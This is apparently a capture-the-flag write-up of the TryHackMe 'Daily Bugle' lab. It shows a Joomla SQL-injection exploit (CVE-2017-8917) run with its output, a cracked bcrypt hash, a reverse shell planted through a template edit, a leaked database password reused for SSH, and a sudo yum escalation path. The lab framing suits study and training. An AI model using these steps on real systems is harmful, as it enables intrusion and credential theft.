We can confirm that this version of Joomla is vulnerable to CVE-2017-8917
Searching for some more publicly available manual exploits, we can find this
unknown@kali:/data/tmp$ python joomblah.py http://10.10.233.69
[-] Fetching CSRF token
[-] Testing SQLi
- Found table: fb9j5_users
- Extracting users from fb9j5_users
[$] Found user ['811', 'Super User', 'jonah', 'jonah@tryhackme.com', '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', '', '']
- Extracting sessions from fb9j5_session
Now that we have Jonah’s hash, let’s crack it with JohnTheRipper
unknown@kali:/data/tmp$ cat jonah.hash
$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm
unknown@kali:/data/tmp$ /data/src/john/run/john jonah.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spiderman123 (?)
1g 0:00:09:27 DONE (2020-06-14 17:12) 0.001762g/s 82.55p/s 82.55c/s 82.55C/s sweetsmile..speciala
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Trying these credentials for the SSH service fails :(
So now let's login to the Joomla login form and get access to the control panel
Replace the index.php with the PHP reverse shell and setup a listener ready on the other hand => Now browse http://10.10.233.69/templates/beez3/index.php and we'll have a reverse shell :)
Lateral Movement => jjameson
Inspected /var/www/html for anything suspicious and yes found a Configuration.php file
sh-4.2$ cat configuration.php
cat configuration.php
<?php
class JConfig {
public $offline = '0';
public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.';
public $display_offline_message = '1';
public $offline_image = '';
public $sitename = 'The Daily Bugle';
public $editor = 'tinymce';
public $captcha = '0';
public $list_limit = '20';
public $access = '1';
public $debug = '0';
public $debug_lang = '0';
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'root';
public $password = 'nv5uz9r3ZEDzVjNu'
Found a potential password nv5uz9r3ZEDzVjNu => Tried to get root access, denied
Tried it for the user jjameson => Worked !
Privilege Escalation
Since we know the user jjameson's password - Let's connect via SSH to have a stable shell
unknown@kali:/data/tmp$ ssh jjameson@10.10.233.69
jjameson@10.10.233.69's password:
Last login: Sun Jun 14 12:07:53 2020
[jjameson@dailybugle ~]$ sudo -l
Matching Defaults entries for jjameson on dailybugle:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User jjameson may run the following commands on dailybugle:
(ALL) NOPASSWD: /usr/bin/yum
